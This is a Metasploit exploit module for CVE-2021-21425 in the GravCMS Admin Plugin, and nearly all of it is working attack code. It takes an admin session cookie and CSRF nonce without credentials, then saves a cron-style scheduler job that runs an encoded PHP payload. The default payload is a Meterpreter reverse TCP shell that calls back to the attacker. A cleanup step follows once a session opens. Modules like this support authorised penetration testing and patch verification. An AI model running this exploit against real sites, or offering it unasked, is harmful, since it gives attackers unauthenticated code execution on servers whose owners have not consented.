class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GravCMS Remote Command Execution',
'Description' => %q{
This module exploits arbitrary config write/update vulnerability to achieve remote code execution.
Unauthenticated users can execute a terminal command under the context of the web server user.
Grav Admin Plugin is an HTML user interface that provides a way to configure Grav and create and modify pages.
In versions 1.10.7 and earlier, an unauthenticated user can execute some methods of administrator controller without
needing any credentials. Particular method execution will result in arbitrary YAML file creation or content change of
existing YAML files on the system. Successfully exploitation of that vulnerability results in configuration changes,
such as general site information change, custom scheduler job definition, etc. Due to the nature of the vulnerability,
an adversary can change some part of the webpage, or hijack an administrator account, or execute operating system command
under the context of the web-server user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>'
],
'References' =>
[
['CVE', '2021-21425'],
['URL', 'https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/']
],
'Privileged' => true,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'DefaultOptions' =>
{
'payload' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64',
'WfsDelay' => 90
},
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2021-03-29',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
CONFIG_CHANGES
]
}
)
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin')
)
if res && !res.get_hidden_inputs.first['admin-nonce'].nil?
CheckCode::Appears
else
CheckCode::Safe
end
end
def capture_cookie_token
print_status 'Sending request to the admin path to generate cookie and token'
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin')
)
if res && res.get_cookies =~ /grav-site-[a-z0-9]+-admin=(\S*);/ && !res.get_hidden_inputs.first['admin-nonce'].nil?
print_good 'Cookie and CSRF token successfully extracted !'
else
fail_with Failure::UnexpectedReply, 'The server sent a response, but cookie and token was not found.'
end
@cookie = res.get_cookies
@admin_nonce = res.get_hidden_inputs.first['admin-nonce']
end
def exploit
unless check == CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable.'
end
capture_cookie_token
@task_name = Rex::Text.rand_text_alpha_lower(5)
payload.encoded.sub! 'base64_decode(', 'base64_decode("'
payload.encoded.sub! '));', '"));'
print_status 'Implanting payload via scheduler feature'
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),
'cookie' => @cookie,
'vars_post' => {
'admin-nonce' => @admin_nonce,
'task' => 'SaveDefault',
"data[custom_jobs][#{@task_name}][command]" => '/usr/bin/php',
"data[custom_jobs][#{@task_name}][args]" => "-r #{payload.encoded}",
"data[custom_jobs][#{@task_name}][at]" => '* * * * *',
"data[custom_jobs][#{@task_name}][output]" => '',
"data[status][#{@task_name}]" => 'enabled',
"data[custom_jobs][#{@task_name}][output_mode]" => 'append'
}
)
if res && res.code == 200 && res.body.include?('Successfully saved')
print_good 'Scheduler successfully created ! Wait for 1 minute...'
end
end
def on_new_session
print_status 'Cleaning up the the scheduler...'
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'config', 'scheduler'),
'cookie' => @cookie,
'vars_post' => {
'admin-nonce' => @admin_nonce,
'task' => 'SaveDefault',
"data[status][#{@task_name}]" => 'enabled'
}
)
if res && res.code == 200 && res.body.include?('Successfully saved')
print_good 'The scheduler config successfully cleaned up!'
end
end
end